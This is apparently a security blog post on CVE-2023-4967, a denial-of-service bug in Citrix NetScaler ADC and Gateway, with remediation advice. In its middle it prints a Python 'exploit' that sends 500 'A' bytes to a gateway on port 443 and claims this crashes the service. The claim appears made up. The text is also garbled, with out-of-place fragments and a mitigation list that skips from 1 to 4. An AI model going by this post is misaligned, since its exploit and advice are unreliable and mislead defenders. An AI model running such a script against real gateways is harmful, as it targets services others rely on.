If you manage enterprise firewalls, remote access solutions, or anything Citrix, you need to know about CVE-2023-4967. This critical vulnerability can knock your NetScaler ADC and NetScaler Gateway offline, taking everything from remote desktop proxies to VPN services down with it. Let’s break down what happened, how it works, and how you can protect yourself—without the usual security jargon.

What is CVE-2023-4967?

CVE-2023-4967 is a Denial of Service (DoS) vulnerability found in Citrix NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway when they’re set up specifically as:

AAA Virtual Server

A remote, unauthenticated attacker can exploit this bug to crash these services, causing disruptions for every user who depends on them. It doesn’t give the attacker access to your systems, but it *does* make your services unavailable.

Unexposed administration interfaces (unless services are internet-facing)

If you’re using NetScaler for secure remote access—like most organizations do—this affects you.

How Does the Exploit Work?

Without exposing secure inner workings, here’s the concept:
An attacker sends specially crafted network packets to your public NetScaler’s Gateway interface. The faulty code mishandles the input, causing the system process to hang or crash. Legit users lose connectivity, admins scramble, and workflow stops.

Example Exploit (Python) for DoS

*The following snippet is educational, showing how minimal effort can trigger the bug.*

import socket

target = "your.gateway.example.com"  # Change to target NetScaler ADC/Gateway address
port = 443  # Typical HTTPS port

# The payload exploits the vulnerability, crashing the service
payload = b"A" * 500  # Overly large or malformed input

with socket.create_connection((target, port)) as s:
    s.sendall(payload)
    # No need to read a response; server may crash or hang

print("Exploit sent.")

Note: Don’t do this without permission! Unlawful testing can get you in trouble.

Management interfaces may freeze.

Technically, the system keeps running *but* all vital services tied to Gateway/AAA are unavailable. Admins usually have to restart processes or even reboot the appliance.

How Was CVE-2023-4967 Found?

The bug was discovered as part of Citrix’s ongoing product security reviews and coordinated with security researchers. In their official advisory, Citrix warned all customers to act immediately.

1. Patch ASAP

Download the latest firmware and apply it to all affected NetScaler ADC and Gateway devices. Later versions have fully patched this bug.

Sudden drops in remote access

- Gateway process crashes/restarts

Unusual connection attempts

### 4. Citrix/Mitre Resources

- Citrix Security Bulletin for CVE-2023-4967
- MITRE CVE Record

Conclusion

CVE-2023-4967 isn’t a sexy zero-day for hackers to break into your systems—but it’s the kind of bug that knocks out crucial enterprise remote access when you need it most. Do the basics: patch, lock down access, monitor your infrastructure.

The sooner you fix it, the less likely you are to become the next headline.

Useful References

- Citrix Download Center
- Citrix Security Alerts

*For any questions, your best bet is your organization’s Citrix Partner or Citrix Support.*

Timeline

Published on: 10/27/2023 19:15:41 UTC
Last modified on: 11/07/2023 19:39:01 UTC